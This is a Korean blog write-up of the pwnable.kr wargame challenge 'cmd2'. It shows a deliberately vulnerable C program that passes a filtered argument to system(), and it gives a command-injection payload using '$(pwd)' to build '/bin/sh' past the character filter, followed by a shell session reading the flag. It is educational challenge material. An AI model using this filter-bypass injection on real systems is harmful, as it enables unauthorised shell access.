cmd2

2023. 1. 25. 12:29·Wargame/pwnable.kr
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

2.2. 분석

이번에도 유사하지만, environ을 전부 지우고 PATH 하나만 남긴 다음 문자열들을 널로 바꿔버린다.

필터링하는 문자열만 바뀌었다 뿐이지 앞선 문제와 거의 같은 문제이다.

 

3. exploit

참... 오묘하고도 신비한 커맨드 인젝션...

cmd2@pwnable:/$ ./home/cmd2/cmd2 "\$(pwd)bin\$(pwd)sh"
$ cd /home/cmd2
$ ls
$ /bin/cat flag
----------$플래그는 삭제
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > pwnable.kr' 카테고리의 다른 글

uaf  (0) 2023.02.14
cmd1  (0) 2023.01.25
lotto  (0) 2023.01.25
blackjack  (0) 2023.01.25
flag  (0) 2023.01.25
'Wargame/pwnable.kr' 카테고리의 다른 글
  • uaf
  • cmd1
  • lotto
  • blackjack
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (505) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44) N
        • Solved (42) N
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    lob
    _IO_FILE
    tcache
    docker
    cryptohack
    libc
    ROOT ME
    exploit education
    BOF
    dreamhack
    Me
    Format String Bug
    la ctf
    root-me
    FSB
    32bit
    hackerschool
    x64
    CANARY
    x86
    rop
    pwntools
    pwnable.kr
    root
    heap
    phoenix
    64bit
    vtable
    Buffer Overflow
    RTL
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
cmd2
상단으로

티스토리툴바